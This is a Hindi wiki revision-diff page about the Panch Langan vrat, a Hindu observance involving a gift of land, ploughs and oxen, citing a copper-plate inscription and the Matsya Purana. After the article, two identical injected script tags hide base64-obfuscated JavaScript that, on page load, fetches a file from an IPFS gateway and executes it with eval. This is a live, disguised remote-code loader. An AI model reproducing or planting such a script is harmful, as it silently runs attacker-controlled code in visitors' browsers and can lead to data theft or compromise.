"पंच लांगन व्रत": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
('*भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा ...' के साथ नया पन्ना बनाया)
 
छो (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
पंक्ति 4: पंक्ति 4:
*किसी पवित्र तिथि या ग्रहण या युगादि तिथि पर भूमि खण्ड का दान, उसके साथ कठोर काष्ठ के पाँच हल एवं सोने के पाँच हल तथा 10 बैल भी दान में दिये जाते हैं।  
*किसी पवित्र तिथि या ग्रहण या युगादि तिथि पर भूमि खण्ड का दान, उसके साथ कठोर काष्ठ के पाँच हल एवं सोने के पाँच हल तथा 10 बैल भी दान में दिये जाते हैं।  
 
 
{{लेख प्रगति
|आधार=आधार1
|प्रारम्भिक=
|माध्यमिक=
|पूर्णता=
|शोध=
}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

07:05, 7 दिसम्बर 2010 का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • शिलाहारराज गण्डरादित्य[1] के ताम्रपत्र पर उल्लिखित, जो वैशाख में चन्द्र ग्रहण के अवसर पर किया गया था।[2]
  • मत्स्य पुराण[3] में इसके विषय में विस्तार से लिखा हुआ है।
  • किसी पवित्र तिथि या ग्रहण या युगादि तिथि पर भूमि खण्ड का दान, उसके साथ कठोर काष्ठ के पाँच हल एवं सोने के पाँच हल तथा 10 बैल भी दान में दिये जाते हैं।

 

टीका टिप्पणी और संदर्भ

  1. शक संवत् 1032, अर्थात् सन् 1110 ई॰
  2. जे. बी. वी. आर. ए. एस., खण्ड 13, पृष्ठ 33
  3. मत्स्य पुराण (अध्याय 283)

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>